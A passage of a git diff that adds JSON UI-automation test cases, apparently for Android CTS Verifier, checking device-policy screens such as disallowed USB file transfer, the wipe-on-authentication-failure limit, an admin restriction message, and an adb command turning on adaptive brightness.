Auto\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"File transfer / Android Auto\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":384.6666666666667,\"x2\":242.66666666666666,\"y2\":404.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.3333333333333144,\"y\":-1.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"File transfer / Android Auto\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":370.0,\"x2\":345.3333333333333,\"y2\":419.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"File transfer / Android Auto\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":370.0,\"x2\":360.0,\"y2\":419.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":154.0,\"y\":396.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":26.0,\"y\":-1.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"d96cb894-49de-4f8c-ad70-de0a87d7a676\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"File transfer\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":57.0,\"y1\":380.0,\"x2\":251.0,\"y2\":412.0}},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify if Transfer photo(PTP) is not displayed\",\"actionId\":\"e443bdb0-2081-416d-8555-63c075c0e0f8\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"PTP\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"24ef02f9-c12e-401a-aff4-e487bdcc0378\",\"displayText\":\"PTP\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"d06aba11-65e5-4740-ad12-b0431b242a41\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"d961bdfc-8458-4c8b-9751-85f61c501cc0\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.RadioButton\",\"resourceId\":\"android:id/checkbox\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":11.0,\"y1\":526.6666666666666,\"x2\":40.333333333333336,\"y2\":556.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"android:id/widget_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":517.0,\"x2\":51.333333333333336,\"y2\":566.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"},{\"uuid\":\"ca650c9a-3f69-463f-bd6b-a5db909fdb3e\",\"displayText\":\"PTP\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"a7bc3656-6a9b-4fb7-b58c-20289520e115\",\"displayText\":\"PTP\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"PTP\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":531.6666666666666,\"x2\":90.66666666666667,\"y2\":551.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-6.666666666666657,\"y\":1.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"PTP\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":517.0,\"x2\":345.3333333333333,\"y2\":566.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"PTP\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":517.0,\"x2\":360.0,\"y2\":566.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":85.0,\"y\":540.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":95.0,\"y\":1.0,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"a7bc3656-6a9b-4fb7-b58c-20289520e115\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"PTP\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":58.0,\"y1\":528.0,\"x2\":112.0,\"y2\":553.0}},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"1e6f8609-7000-4220-9191-56fefc1e192b\",\"actionType\":\"INPUT_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"c1068330-ea63-4e42-8806-773d1152094f\",\"142b5146-3cf6-4557-bd30-ce0c66989877\",\"b44d4a7c-7c57-47b6-913d-763529abe2ab\",\"fa171789-d776-46b6-ac6f-39961c4c3414\",\"15c75efc-b173-4eed-9a2c-164886355c98\",\"1412d1dc-df33-4824-a518-3b1577d0a5a0\",\"d32b4e4d-d5df-433e-86ff-66c06a3e8cef\",\"7a49908c-38af-42cc-b20f-fc01919bdabd\",\"89cbed0b-3048-48f7-a651-40f8469ff35a\",\"e443bdb0-2081-416d-8555-63c075c0e0f8\",\"1e6f8609-7000-4220-9191-56fefc1e192b\",\"ed37b636-1904-49d8-a5cc-4f6046f1358b\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"09-Disallow USB file transfer","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.102000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/87aa94cd-e4ba-4453-9d58-267514ce16bb b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/87aa94cd-e4ba-4453-9d58-267514ce16bb
new file mode 100644
index 0000000..4dc6a7e
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/87aa94cd-e4ba-4453-9d58-267514ce16bb
@@ -0,0 +1 @@
+{"uuid":"87aa94cd-e4ba-4453-9d58-267514ce16bb","details":"{\"type\":\"CompoundAction\",\"name\":\"Turn Adaptive Brightness on\",\"actionId\":\"87aa94cd-e4ba-4453-9d58-267514ce16bb\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"CommandLineAction\",\"name\":\"Turn Adaptive Brightness on\",\"actionId\":\"5269eb8f-828f-420e-9653-5aea9898e208\",\"actionType\":\"COMMAND_LINE_ACTION\",\"delayAfterActionMs\":1000,\"createdBy\":\"pololee\",\"commandLine\":\"shell settings put system screen_brightness_mode 1\",\"isAdbCommand\":true,\"expectedReturnCode\":\"0\",\"commandlineExecutionTimeoutSec\":5,\"needShellOutput\":false,\"uicdVariableName\":\"\"}],\"childrenIdList\":[\"5269eb8f-828f-420e-9653-5aea9898e208\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Turn Adaptive Brightness on","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.275000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8a47ce64-ec2d-4a20-a91b-f89000b7e2bc b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8a47ce64-ec2d-4a20-a91b-f89000b7e2bc
new file mode 100644
index 0000000..c8c124b
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8a47ce64-ec2d-4a20-a91b-f89000b7e2bc
@@ -0,0 +1 @@
+{"uuid":"8a47ce64-ec2d-4a20-a91b-f89000b7e2bc","details":"{\"type\":\"CompoundAction\",\"name\":\"16-14-Wipe on authentication failure\",\"actionId\":\"8a47ce64-ec2d-4a20-a91b-f89000b7e2bc\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Wipe on authentication failure\",\"actionId\":\"f67f7002-41b9-4864-97fc-13e587b2528d\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Wipe on authentication failure\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"6eefa73f-6da5-4a9c-aafd-f6b7b068e49a\",\"displayText\":\"Wipe on authentication failure\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Wipe on authentication failure\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.666666666666666,\"y1\":523.6666666666666,\"x2\":351.3333333333333,\"y2\":565.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":122.0,\"y\":545.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":58.0,\"y\":-0.8333333333333712,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"6eefa73f-6da5-4a9c-aafd-f6b7b068e49a\",\"firstText\":\"Wipe on authentication failure\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Wipe on authentication failure\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":6.0,\"y1\":533.0,\"x2\":238.0,\"y2\":558.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, Wipe on authentication failure\",\"actionId\":\"e032e1a5-cfea-465d-9867-41eec93fe9ea\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Wipe on authentication failure\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that you are not told that all device data will be deleted if you mistype your password \",\"actionId\":\"ea784452-647d-463d-a118-605baa1b1425\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Failed password attempts before deleting all device data\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"6b6b7661-fb0a-4588-b74d-ec3682a8bc19\",\"displayText\":\"Failed password attempts before deleting all device data\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"f741bb19-288d-4b48-81c5-d305000c501b\",\"displayText\":\"Failed password attempts before deleting all device data\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"96341d97-5c70-4a67-8d0f-0893104d0e34\",\"displayText\":\"Failed password attempts before deleting all device data\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Failed password attempts before deleting all device data\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":568.0,\"x2\":346.0,\"y2\":604.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":8.0,\"y\":13.666666666666742,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Failed password attempts before deleting all device data\"},{\"uuid\":\"bf211428-2245-447e-afdd-fcfe8151d5e2\",\"displayText\":\"100 attempts\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"100 attempts\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":604.3333333333334,\"x2\":136.33333333333334,\"y2\":621.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"100 attempts\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":554.0,\"x2\":346.0,\"y2\":635.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Failed password attempts before deleting all device data\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":554.0,\"x2\":360.0,\"y2\":635.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":196.5,\"y\":572.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":-16.5,\"y\":22.166666666666742,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"96341d97-5c70-4a67-8d0f-0893104d0e34\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Failed password attempts before deleting all device data\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":61.0,\"y1\":558.0,\"x2\":332.0,\"y2\":587.0}},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"6bfaa31b-7813-4636-95e6-98ff589a02be\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, Set Limit\",\"actionId\":\"b33be532-e23a-4398-95da-9e078039b826\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Set Limit\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that you are told now that all device data will be deleted if you mistype your password \",\"actionId\":\"700db7dd-c171-4e4d-a082-33ca0dc0a49a\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Failed password attempts before deleting all device data\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"66262d61-11d7-4ca3-8e00-0df0568f7e2d\",\"displayText\":\"Failed password attempts before deleting all device data\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"0a63ef7e-89db-4325-8bdb-a565c90cb82b\",\"displayText\":\"Failed password attempts before deleting all device data\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"73e6175b-c692-4159-b8f5-f2ba6a7c8084\",\"displayText\":\"Failed password attempts before deleting all device data\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Failed password attempts before deleting all device data\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":568.0,\"x2\":346.0,\"y2\":604.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":11.5,\"y\":8.666666666666742,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Failed password attempts before deleting all device data\"},{\"uuid\":\"ed2e5e61-b2c5-437d-a04f-0bc00aaf3d72\",\"displayText\":\"100 attempts\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"100 attempts\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":604.3333333333334,\"x2\":136.33333333333334,\"y2\":621.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"100 attempts\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":554.0,\"x2\":346.0,\"y2\":635.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Failed password attempts before deleting all device data\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":554.0,\"x2\":360.0,\"y2\":635.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":193.0,\"y\":577.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":-13.0,\"y\":17.166666666666742,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"73e6175b-c692-4159-b8f5-f2ba6a7c8084\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Failed password attempts before deleting all device data\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":54.0,\"y1\":561.0,\"x2\":332.0,\"y2\":594.0}},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify it show 100 times\",\"actionId\":\"e05ba1f1-aac7-41b9-b7e1-7b84b0fb01e7\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"100 attempts\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"89345924-9fc9-472b-8703-5b03f89cc522\",\"displayText\":\"100 attempts\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"d31f513a-d44b-4f31-acfe-78fe9a076a88\",\"displayText\":\"Failed password attempts before deleting all device data\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"faa25ef0-7586-4a4f-b9a2-727751148958\",\"displayText\":\"Failed password attempts before deleting all device data\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Failed password attempts before deleting all device data\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":568.0,\"x2\":346.0,\"y2\":604.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Failed password attempts before deleting all device data\"},{\"uuid\":\"294ae1f3-7b53-4c8f-ba63-a8fd677b5d93\",\"displayText\":\"100 attempts\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"100 attempts\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":604.3333333333334,\"x2\":136.33333333333334,\"y2\":621.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-2.3333333333333286,\"y\":2.3333333333333712,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"100 attempts\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":554.0,\"x2\":346.0,\"y2\":635.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Failed password attempts before deleting all device data\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":554.0,\"x2\":360.0,\"y2\":635.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":102.0,\"y\":610.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":78.0,\"y\":-15.833333333333258,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"294ae1f3-7b53-4c8f-ba63-a8fd677b5d93\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"100 attempts\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":54.0,\"y1\":601.0,\"x2\":150.0,\"y2\":620.0}},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"17c56e55-c56a-4ce1-aed0-a354f098d2d7\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"03e19599-15d9-4cff-acc4-88b977853f25\",\"f67f7002-41b9-4864-97fc-13e587b2528d\",\"e032e1a5-cfea-465d-9867-41eec93fe9ea\",\"91b86fe0-4aca-4858-9bc1-ed4be34940fa\",\"ea784452-647d-463d-a118-605baa1b1425\",\"6bfaa31b-7813-4636-95e6-98ff589a02be\",\"b33be532-e23a-4398-95da-9e078039b826\",\"91b86fe0-4aca-4858-9bc1-ed4be34940fa\",\"700db7dd-c171-4e4d-a082-33ca0dc0a49a\",\"e05ba1f1-aac7-41b9-b7e1-7b84b0fb01e7\",\"17c56e55-c56a-4ce1-aed0-a354f098d2d7\",\"b17bcc33-34e0-4aba-a8ce-080ea0d0846c\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"16-14-Wipe on authentication failure","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.188000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8b18fc23-789a-4c41-9746-297a040e35a7 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8b18fc23-789a-4c41-9746-297a040e35a7
new file mode 100644
index 0000000..dfe4c0c
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8b18fc23-789a-4c41-9746-297a040e35a7
@@ -0,0 +1 @@
+{"uuid":"8b18fc23-789a-4c41-9746-297a040e35a7","details":"{\"type\":\"CompoundAction\",\"name\":\"Check the restriction message(Long message)\",\"actionId\":\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Learn more button\",\"actionId\":\"6483582b-b2ab-4567-824a-593fc4214d1b\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"android:id/button3\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify the long message\",\"actionId\":\"8bcc732d-78c2-4904-9ef5-0d149900d472\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"CONTAINS\",\"patternValue\":\"Your admin can monitor and manage apps and data associated with\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"7371673d-6ff5-4232-b739-65a4397d3dab\",\"displayText\":\"Your admin can monitor and manage apps and data associated with this device, including settings, permissions, corporate access, network activity, and the device's location information.\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.settings:id/admin_warning\",\"text\":\"Your admin can monitor and manage apps and data associated with this device, including settings, permissions, corporate access, network activity, and the device's location 